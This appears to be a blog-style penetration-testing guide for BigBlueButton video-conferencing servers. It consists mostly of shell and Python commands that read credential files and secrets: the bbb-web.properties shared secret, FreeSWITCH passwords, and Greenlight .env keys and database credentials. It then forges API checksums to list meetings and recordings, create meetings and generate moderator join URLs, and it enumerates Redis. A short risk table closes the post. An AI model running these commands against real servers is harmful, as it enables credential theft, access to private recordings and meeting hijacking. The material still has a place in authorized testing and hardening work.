Video Conferencing Security Testing

BigBlueButton Security Testing: API Key, Default Credentials, Database, and Video Conferencing

📅 July 3, 2026 ⏱ 10 min read 🏷 BigBlueButton, BBB, Video Conferencing, bbb-web.properties, Shared Secret, API Checksum, Recordings, FreeSWITCH, Greenlight, Redis, HMAC-SHA1, Meeting URLs

bbb-web.properties Shared Secret Extraction

# BigBlueButton — bbb-web.properties shared secret extraction
BBB_URL="https://bbb.example.com"

# /etc/bigbluebutton/bbb-web.properties — BBB API shared secret (CRITICAL)
cat /etc/bigbluebutton/bbb-web.properties 2>/dev/null | grep -E "securitySalt|secret"
# bigbluebutton.web.serverURL=https://bbb.example.com
# securitySalt=YOUR_SECRET_HERE   <-- HMAC-SHA1 key for all API calls

# Quickest method: bbb-conf --secret (requires root/bbblocalblue user)
bbb-conf --secret 2>/dev/null
# Output:
# URL: https://bbb.example.com/bigbluebutton/
# Secret: abc123...

# Alternative config locations
grep -r "securitySalt\|secret" /usr/share/bbb-web/WEB-INF/classes/ 2>/dev/null | head -5

# Verify BBB is running and accessible
curl -s "${BBB_URL}/bigbluebutton/api/" 2>/dev/null
# Returns XML with version info — no authentication required
# SUCCESS
# 2.x.x

# With the shared secret — generate valid API checksum
BBB_SECRET="extracted-shared-secret"
API_CALL="getMeetings"
CHECKSUM=$(echo -n "${API_CALL}${BBB_SECRET}" | sha1sum | cut -d' ' -f1)
curl -s "${BBB_URL}/bigbluebutton/api/getMeetings?checksum=${CHECKSUM}" 2>/dev/null | \
  python3 -c "
import sys
content = sys.stdin.read()
import re
meetings = re.findall(r'([^<]+)', content)
attendees = re.findall(r'([^<]+)', content)
for m, a in zip(meetings, attendees):
    print(f'  Meeting: {m} — attendees: {a}')
" 2>/dev/null

API Authentication Bypass and Recording Access

# BigBlueButton API — recording access and authentication assessment
BBB_URL="https://bbb.example.com"
BBB_SECRET="extracted-shared-secret"

# Generate checksum for getRecordings
API_CALL="getRecordings"
PARAMS=""
CHECKSUM=$(echo -n "${API_CALL}${PARAMS}${BBB_SECRET}" | sha1sum | cut -d' ' -f1)

curl -s "${BBB_URL}/bigbluebutton/api/getRecordings?checksum=${CHECKSUM}" 2>/dev/null | \
  python3 -c "
import sys, re
content = sys.stdin.read()
rec_ids = re.findall(r'([^<]+)', content)
names = re.findall(r'([^<]+)', content)
urls = re.findall(r'([^<]+)', content)
print(f'Total recordings: {len(rec_ids)}')
for rid, name in zip(rec_ids[:5], names[:5]):
    print(f'  {name}: {rid}')
# Recording playback URLs are typically accessible without authentication
" 2>/dev/null

# Test recording URL pattern (may be unauthenticated)
# Recordings at: /playback/presentation/2.3/RECORDING_ID
# or: /recording/RECORDING_ID/

# Create a new meeting (with valid secret — for authorized testing)
MEETING_ID="test-meeting-$(date +%s)"
API_CALL="create"
PARAMS="name=TestMeeting&meetingID=${MEETING_ID}&attendeePW=ap&moderatorPW=mp&record=true"
CHECKSUM=$(echo -n "${API_CALL}${PARAMS}${BBB_SECRET}" | sha1sum | cut -d' ' -f1)
curl -s "${BBB_URL}/bigbluebutton/api/create?${PARAMS}&checksum=${CHECKSUM}" 2>/dev/null | head -10

# Get join URL for any meeting (moderator access)
MEETING_ID="known-meeting-id"
MOD_PW="moderator-password"
API_CALL="join"
PARAMS="fullName=Tester&meetingID=${MEETING_ID}&password=${MOD_PW}&userID=tester"
CHECKSUM=$(echo -n "${API_CALL}${PARAMS}${BBB_SECRET}" | sha1sum | cut -d' ' -f1)
echo "Join URL: ${BBB_URL}/bigbluebutton/api/join?${PARAMS}&checksum=${CHECKSUM}"

FreeSWITCH and Greenlight Credential Assessment

# BigBlueButton — FreeSWITCH and Greenlight credential assessment

# FreeSWITCH event socket password (used for BBB-to-FreeSWITCH communication)
cat /etc/freeswitch/autoload_configs/event_socket.conf.xml 2>/dev/null | grep password
#     <-- event socket password

# FreeSWITCH SIP credentials
grep -r "password" /etc/freeswitch/directory/ 2>/dev/null | head -10

# Greenlight (BBB web frontend) — .env credentials
cat /etc/greenlight/.env 2>/dev/null | grep -E "SECRET|PASSWORD|DATABASE|GOOGLE|OFFICE|LDAP"
# SECRET_KEY_BASE=...        <-- Rails session secret
# DATABASE_URL=...           <-- PostgreSQL credentials
# GOOGLE_OAUTH2_SECRET=...   <-- OAuth provider secrets
# SMTP_PASSWORD=...

# Greenlight database — admin user credentials
cat /etc/greenlight/.env 2>/dev/null | grep DATABASE_URL | \
  python3 -c "
import sys, re
url = sys.stdin.read().strip()
m = re.search(r'postgresql://([^:]+):([^@]+)@([^/]+)/(.+)', url)
if m:
    print(f'User: {m.group(1)}')
    print(f'Pass: {m.group(2)[:30]}...')
    print(f'Host: {m.group(3)}')
    print(f'DB: {m.group(4)}')
" 2>/dev/null

# Redis — BBB session data (typically no auth by default)
redis-cli -h localhost ping 2>/dev/null
redis-cli -h localhost keys "bbb:*" 2>/dev/null | head -10

BigBlueButton Security Hardening

Security Test	Method	Risk
bbb-web.properties securitySalt shared secret extraction	Read /etc/bigbluebutton/bbb-web.properties — HMAC-SHA1 key; enables creating arbitrary meetings, joining as moderator, accessing all recordings, enumerating all active sessions	Critical
API checksum authentication with extracted secret	GET /bigbluebutton/api/getMeetings?checksum=SHA1(getMeetings+secret) — all active meetings, attendee lists, moderator passwords in plaintext from getMeetings response	Critical
Unauthenticated recording access via predictable URLs	GET /playback/presentation/2.3/RECORDING_ID — recording playback without authentication; sensitive meeting content for any recording ID obtained via getRecordings	High
FreeSWITCH event socket password extraction	Read /etc/freeswitch/autoload_configs/event_socket.conf.xml — event socket password; enables direct FreeSWITCH control for call manipulation	High
Greenlight .env SECRET_KEY_BASE and OAuth secret extraction	Read /etc/greenlight/.env — Rails session key, PostgreSQL credentials, Google/LDAP OAuth secrets; Rails session cookie forgery as any Greenlight user	High